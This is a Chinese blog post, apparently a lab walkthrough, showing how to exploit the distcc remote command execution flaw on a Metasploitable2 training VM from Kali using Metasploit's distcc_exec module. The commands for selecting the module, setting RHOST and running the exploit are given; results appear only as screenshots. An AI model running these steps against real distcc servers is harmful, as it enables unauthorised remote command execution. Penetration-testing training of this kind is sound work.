Metasploitable2靶机之第七篇--Distcc后门漏洞

约定不等于承诺〃 2022-10-22 01:40 235阅读 0赞

### 文章目录 ###

*   *   *  环境
         *  原理
         *  漏洞利用
         *   *   *  第一步 ，启动metasploit
                 *  第二步选择漏洞库
                 *  第三步 设置参数，开始攻击
                 *  第四步 利用成功，执行验证
         *  摘抄

### 环境 ###

<table> 
 <thead> 
  <tr> 
   <th>主机</th> 
   <th>地址</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Metasploitable2</td> 
   <td>192.168.232.202</td> 
  </tr> 
  <tr> 
   <td>kali-linux</td> 
   <td>192.168.232.129</td> 
  </tr> 
 </tbody> 
</table>

### 原理 ###

*  Distcc用于大量代码在网络服务器上的分布式编译，
 *  但是如果配置不严格，容易被滥用执行命令，
 *  该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配置对于服务器端口的访问不限制

### 漏洞利用 ###

##### 第一步 ，启动metasploit #####

msfconsole

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]

##### 第二步选择漏洞库 #####

search search distcc_exec
    use  exploit/unix/misc/distcc_exec

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

##### 第三步 设置参数，开始攻击 #####

show options
    Set RHOST 192.168.232.202设置要攻击的IP
    exploit

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

##### 第四步 利用成功，执行验证 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]

### 摘抄 ###

--------------------

橘子不是唯一的水果，

就像世间没有唯一的答案。

– 珍妮特・温特森 《橘子不是唯一的水果》

--------------------

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20221022/a6ab754db0294729a89681bdd8b1dc2f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20221022/dc5983605d0a4ab7b1a67e5f359922f8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20221022/011c2d8ded0c4f8f82a500535e69b538.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20221022/040ccba0486641d4adb6e13fbfb0ffef.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: /images/20221022/fa562e922d2846f580316c30b85ccf70.png